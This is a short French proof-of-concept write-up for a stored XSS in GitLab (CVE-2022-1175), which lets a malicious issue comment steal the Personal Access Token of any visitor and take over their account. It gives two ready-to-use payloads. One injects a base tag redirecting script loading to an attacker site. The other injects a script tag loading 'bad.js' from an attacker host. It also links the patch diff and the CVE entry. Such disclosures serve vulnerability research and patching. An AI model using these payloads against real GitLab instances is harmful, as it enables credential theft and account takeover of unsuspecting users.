
Preuve de concept d'une exploitation d'une XSS stockée dans GitLab (CVE-2022-1175) permettant le vol de jetons d'accès personnels et la prise de contrôle de comptes via des commentaires malveillants sur les issues.
XSS stocké dans GitLab, peut être défini dans un ticket sur un projet, que ce soit le vôtre ou celui d'un autre utilisateur. Permet des attaques telles que la création et le vol d'un Personal Access Token (PAT) de quiconque visite un ticket. Les PAT peuvent ensuite fournir un accès complet à l'API GitLab en tant que cet utilisateur, équivalent à une prise de contrôle complète du compte.
Peut être exploité en modifiant la base du projet vers votre site, de sorte que les scripts soient sourcés depuis votre site. Modifiez le javascript sur votre site pour qu'il corresponde aux noms de scripts appelés dans la page. Cela peut toutefois casser des éléments de la page.
<pre data-sourcepos=""%22 href="x"></pre><base href=http://unsafe-website.com/><pre x=""><code></code></pre>
L'inclusion standard de script fonctionne également selon la politique CSP du site. C'est plus discret.
<pre data-sourcepos=""%22 href="x"></pre><script src="https://attacker-site.com/bad.js"></script><pre x=""><code></code></pre>
Les développeurs de GitLab ont astucieusement inclus la chaîne XSS complète dans le code, que l'on peut trouver ici :
https://gitlab.com/gitlab-org/gitlab/-/compare/v14.9.1-ee...v14.9.2-ee?from_project_id=278964&page=4
Référence :
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-1175